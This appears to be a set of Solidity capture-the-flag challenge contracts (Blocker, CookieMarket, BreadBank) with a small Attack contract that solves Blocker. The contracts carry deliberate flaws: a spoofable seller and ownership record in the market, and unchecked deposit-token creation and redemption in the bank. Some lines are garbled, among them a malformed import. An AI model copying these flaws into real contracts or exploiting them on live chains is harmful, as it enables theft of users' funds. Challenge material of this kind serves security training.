Blocker, Cookie Market, & Bread Bank

pragma solidity 0.8.17;

contract Blocker {

    bool public solved = false;
    uint256 public current_timestamp;

    function _getPreviousTimestamp() internal returns (uint256) {  
        current_timestamp = block.timestamp;
        return block.timestamp;
    }
    
    function solve(uint256 _guess) public {
        require(_guess == _getPreviousTimestamp());
        solved = true;
    }
}

pragma solidity 0.8.17;

import "./Blocker.sol";

contract Attack {
    Blocker blocker;

    constructor(address _blocker) {
        blocker = Blocker(_blocker);
    }

    function attack() public {
        blocker.solve(block.timestamp);
    }
}

pragma solidity 0.8.17;

import .Blocker.sol;

 
  @title Setup for Hello World
  @author bobi @ X-MASCTF2021
 
contract Setup {
    Blocker public blocker;

    constructor() {
        blocker = new Blocker();
    }

    function isSolved() public view returns (bool) {
        return blocker.solved();
    }
}

pragma solidity 0.8.17;

import "./ERC721.sol";

contract Cookie is ERC721("cookie", "E") {

    uint256 public cookieIDX;
    address public owner;

    constructor(){
        cookieIDX = 0;
    }

    // @dev mints an cookie. Note that there are only 10 cookies in the basket.
    function mintcookie() external {
        require(cookieIDX < 10);
        _mint(msg.sender, cookieIDX);
        cookieIDX += 1;
    }

}

pragma solidity 0.8.17;

import "./IERC721.sol";
import "./IERC721Receiver.sol";

contract CookieMarket is IERC721Receiver {

    // mapping that handles ownership of the cookies within the CookieMarket.
    mapping(uint256 => address) public canRedeemcookie;
    
    // struct that handles the orders in the market
    struct sell_Order {
        uint256 cookie_idx_offered;    // the ERC721 idx of the "cookie" token.
        uint256 amount_eth_wanted;  // the amount of ETH the seller wants to receive for the cookie.
        address cookie_provider;       // the address of the seller.
    }

    // storing all the sell orders in the market.
    sell_Order[] public sellOrders;

    // cookie
    IERC721 public cookie;
    
    /**
        @dev cookieMarket constructor.

        @param _cookie ERC721 contract instance.
    */
    constructor(address _cookie) {
        cookie = IERC721(_cookie);
    }

    /**
        @dev Allows a buyer to buy an cookie from the cookieMarket via exhausting its subsequent sell order.

        @param _idx The ERC721 idx of the cookie.
        @param _owner The `current` owner of the cookie.
    */
    function executeOrder(uint256 _idx, address _owner) external payable {

        require(
            msg.sender != _owner, 
            "err: no self-exchanges allowed"
        );

        // find the sellOrder whose cookie_idx_offered == _idx
        for (uint256 i = 0; i < sellOrders.length; i++) {
            if (sellOrders[i].cookie_idx_offered == _idx) {

                // check if the _owner is the seller
                require(sellOrders[i].cookie_provider == _owner, "err: _owner != seller");

                // the cookie is for sale.
                
                // check if the msg.sender has provided enough ETH to pay for the cookie
                if (msg.value >= sellOrders[i].amount_eth_wanted) {

                    // the _owner has enough ETH to pay for the cookie
                    // paying the seller(current owner) of the cookie
                    (bool sent, bytes memory data) = _owner.call{value: msg.value}("");
                    require(sent, "err: transfer failed");

                    // transfer the ownership of the cookie from the seller to the buyer
                    canRedeemcookie[_idx] = msg.sender;

                    // remove the sellOrder from the sellOrders array
                    sellOrders[i] = sellOrders[sellOrders.length - 1];
                    sellOrders.pop();

                    break;
                }
            }
        }
    }

    /**
        @dev Function to retrieve an cookie from the market.
        
        @param _idx The index of the cookie in the market.
    */
    function redeemcookies(uint256 _idx) external {

        // check if sender can redeem the cookie
        require(
            canRedeemcookie[_idx] == msg.sender,
            "err: msg.sender != owner(cookie)"
        );

        // approve the cookie transfer.
        cookie.approve(
            msg.sender, 
            _idx
        );

        // transfer the ownership of the cookie.
        cookie.transferFrom(
            address(this), 
            msg.sender, 
            _idx
        );

        // remove the cookie _idx from the canRedeemcookie mapping
        delete canRedeemcookie[_idx];
    }

    /**
        @dev Function to effectively add a sellOrder for your cookie on the cookieMarket.
        
        @param _cookieIDX The index of the ERC721 cookie.
        @param _ethWanted The amount of ETH the seller wants to receive for the cookie.
    */
    function addSellOrder(uint256 _cookieIDX, uint256 _ethWanted) external {

        // check whether the msg.sender can sell the _cookieIDX
        require(
            canRedeemcookie[_cookieIDX] == msg.sender,
            "err: msg.sender != owner(cookie[_cookieIDX])"
        );

        // create the new sellOrder
        sell_Order memory newOrder;
        newOrder.cookie_idx_offered = _cookieIDX;
        newOrder.amount_eth_wanted = _ethWanted;
        newOrder.cookie_provider = msg.sender;

        sellOrders.push(newOrder);
    }

    /**
        @dev Function to effectively remove a sellOrder from the cookieMarket.
        
        @param _cookieIDX The index of the ERC721 cookie.
    */
    function removeSellOrder(uint256 _cookieIDX) external {

        // iterate through all sellOrders
        for(uint256 i = 0; i < sellOrders.length; i++) {

            // check if the sellOrder is for the _cookieIDX
            if (sellOrders[i].cookie_idx_offered == _cookieIDX) {
                
                // check if the msg.sender is the owner of the cookie
                require(
                    sellOrders[i].cookie_provider == msg.sender,
                    "err: msg.sender != cookie_provider"
                );

                // delete the sellOrder
                sellOrders[i] = sellOrders[sellOrders.length - 1];
                sellOrders.pop();
                break;
            }
        }
    }

    /**
        @dev Inherited from IERC721Receiver.
    */
    function onERC721Received(
        address,
        address _from,
        uint256 _tokenId,
        bytes calldata
    ) external override returns (bytes4) {

        // we have received an cookie from its owner; mark that in the redeem mapping
        canRedeemcookie[_tokenId] = _from;
        
        return this.onERC721Received.selector; 
    }
}

pragma solidity 0.8.17;

import "./openzeppelin-contracts-4.8.0/openzeppelin-contracts-4.8.0/contracts/token/ERC20/ERC20.sol";

contract PonyToken is ERC20("Pony", "PNY") {

    constructor(uint256 _amount) {
        _mint(msg.sender, _amount);
    }
}

pragma solidity 0.8.17;

import "./openzeppelin-contracts-4.8.0/openzeppelin-contracts-4.8.0/contracts/token/ERC20/ERC20.sol";

contract BankPairERC20 is ERC20 {

    address public owner;
    ERC20 public underlying;

    constructor(ERC20 _underlying, uint256 amount) ERC20("", "BKP") {
        owner = msg.sender;
        underlying = _underlying;
    }

    function mint(address to, uint256 amount) external {
        require(msg.sender == owner, "BankPairERC20: Only the owner can mint.");
        _mint(to, amount);
    }

    function burn(address from, uint256 amount) external {
        require(msg.sender == owner, "BankPairERC20: Only the owner can burn.");
        _burn(from, amount);
    }
}

pragma solidity 0.8.17;

import "./openzeppelin-contracts-4.8.0/openzeppelin-contracts-4.8.0/contracts/token/ERC20/ERC20.sol";
import "./BankPairERC20.sol";

contract BreadBank {
    
    // @dev Allows a user to deposit the ERC20 underlying token into the bank.
    function createDepositToken(ERC20 _underlying, uint256 _amount) public returns(BankPairERC20){
        // Assure _underlying is not the BANK token.
        require(address(_underlying) != address(this), "BreadBank: Cannot deposit BANK token.");

        // Assure enough tokens have been transferred to the bank.
        require(_underlying.balanceOf(address(this)) >= _amount, "BreadBank: Not enough tokens have been deposited.");

        // Create a new bankpair token for the user.
        BankPairERC20 depositToken = new BankPairERC20(_underlying, _amount);

        // Mint the deposit token to the user.
        depositToken.mint(msg.sender, _amount);

        // Return the deposit token.
        return depositToken;
    }

    // @dev Allows a user to calculate the rewards they will receive for a given bank pair token.
    function calculateRewards(BankPairERC20 _bankPairToken) public view returns (uint256) {
        // Get the underlying token.
        ERC20 underlying = _bankPairToken.underlying();

        // Get the total supply of the bank pair token.
        uint256 totalBankPairSupply = _bankPairToken.totalSupply();

        // Get the total supply of the underlying token.
        uint256 underlyingTotalSupply = underlying.totalSupply();

        // Get the balance of the underlying token.
        uint256 underlyingBalance = underlying.balanceOf(address(this));

        // Calculate the rewards.
        uint256 rewards = (underlyingBalance * _bankPairToken.balanceOf(msg.sender)) / (underlyingTotalSupply * totalBankPairSupply);

        return rewards;
    }

    // @dev Allows a user to receive rewards for a given bank pair token.
    function issueRewards(BankPairERC20 _bankPairToken) public {
        // Get the rewards.
        uint256 rewards = calculateRewards(_bankPairToken);

        // Mint the rewards to the user.
        _bankPairToken.mint(msg.sender, rewards);
    }

    // @dev Allows a user to redeem their bank pair token for the underlying token.
    function redeem(BankPairERC20 _bankPairToken, uint256 _amount) public {
        
        // Assure _amount is not 0.
        require(_amount != 0, "BreadBank: Cannot redeem 0 tokens.");

        // Assure the user has enough bank pair tokens.
        require(_bankPairToken.balanceOf(msg.sender) >= _amount, "BreadBank: Not enough tokens have been deposited.");

        // Get the underlying token.
        ERC20 underlying = _bankPairToken.underlying();

        // Burn the bank pair token.
        _bankPairToken.burn(msg.sender, _amount);

        // Transfer the underlying token to the user.
        underlying.transfer(msg.sender, _amount);
    }


}